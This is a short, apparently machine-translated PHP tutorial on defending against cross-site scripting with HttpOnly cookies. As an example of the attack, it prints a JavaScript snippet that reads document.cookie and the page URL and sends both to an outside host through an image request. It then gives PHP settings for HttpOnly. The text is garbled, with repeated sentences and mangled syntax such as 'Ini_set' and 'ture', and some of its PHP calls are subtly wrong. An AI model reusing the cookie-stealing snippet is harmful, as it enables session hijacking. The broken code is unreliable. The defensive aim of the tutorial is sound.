Xss defense-php uses httponly to defend against xss attacks-PHP Tutorial

Xss defense-php uses httponly to defend against xss attacks. The concept of xss is needless to say, and its harm is enormous. This means that once your website has an xss vulnerability, you can execute arbitrary js code, the most terrible thing is that attackers can exploit JavaScript to obtain the xss concept. the damage is enormous, which means that once your website has an xss vulnerability, attackers can execute arbitrary js code. the most terrible thing is that attackers can use JavaScript to obtain cookies or session hijacking. if a large amount of sensitive information (such as identity information and administrator information) is contained, that's all...

Obtain cookie information using the following js:

The code is as follows:

Url = document. top. location. href;
Cookie = document. cookie;
C = new Image ();
C. src = 'http: // www.test.com/c.php? C = '+ cookie +' & u = '+ url;

Generally, cookies are obtained from the document Object. now, when setting cookies, the browser generally accepts a parameter called HttpOnly, which is the same as other parameters such as domain. once this HttpOnly is set, you cannot see the Cookie in the document object of the browser.

Set HttpOnly in PHP:

The code is as follows:

// In php. ini, session. cookie_httponly = ture enables the HttpOnly attribute of the global Cookie.
Ini_set ("session. cookie_httponly", 1 );

// Or set the seventh parameter of setcookie () to true.
Session_set_cookie_params (0, NULL, TRUE );

For PHP versions earlier than PHP5.1:

The code is as follows:

Header ("Set-Cookie: hidden = value; httpOnly ");

Finally, HttpOnly is not omnipotent!

...